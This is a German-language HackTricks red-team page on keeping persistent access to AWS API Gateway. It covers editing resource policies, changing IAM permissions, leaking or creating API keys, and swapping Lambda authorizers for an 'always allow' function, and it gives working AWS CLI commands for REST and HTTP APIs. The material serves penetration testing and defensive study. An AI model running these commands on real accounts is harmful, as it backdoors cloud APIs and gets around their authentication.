AWS - API Gateway Persistenz

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

API Gateway

Für weitere Informationen siehe:

AWS - API Gateway Enum

Resource Policy

Passe die Resource Policy des/der API Gateway(s) an, um dir Zugriff darauf zu gewähren

Lambda Authorizers ändern

Ändere den Code der Lambda Authorizers, um dir Zugriff auf alle Endpunkte zu gewähren.
Oder entferne einfach die Verwendung des Authorizers.

Wenn du control-plane Berechtigungen hast, um einen Authorizer zu erstellen/aktualisieren (REST API: aws apigateway update-authorizer, HTTP API: aws apigatewayv2 update-authorizer), kannst du den Authorizer auch auf eine Lambda umleiten, die immer erlaubt.

REST APIs (Änderungen erfordern typischerweise eine Bereitstellung):

REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"

HTTP APIs / apigatewayv2 (tritt oft sofort in Kraft):

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

IAM Permissions

Wenn eine Ressource einen IAM authorizer verwendet, könntest du dir Zugriff verschaffen, indem du IAM-Berechtigungen änderst.
Oder entferne einfach die Nutzung des authorizer.

API Keys

Wenn API keys verwendet werden, könntest du sie leak, um Persistence aufrechtzuerhalten oder sogar neue zu erstellen.
Oder entferne einfach die Nutzung von API keys.

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks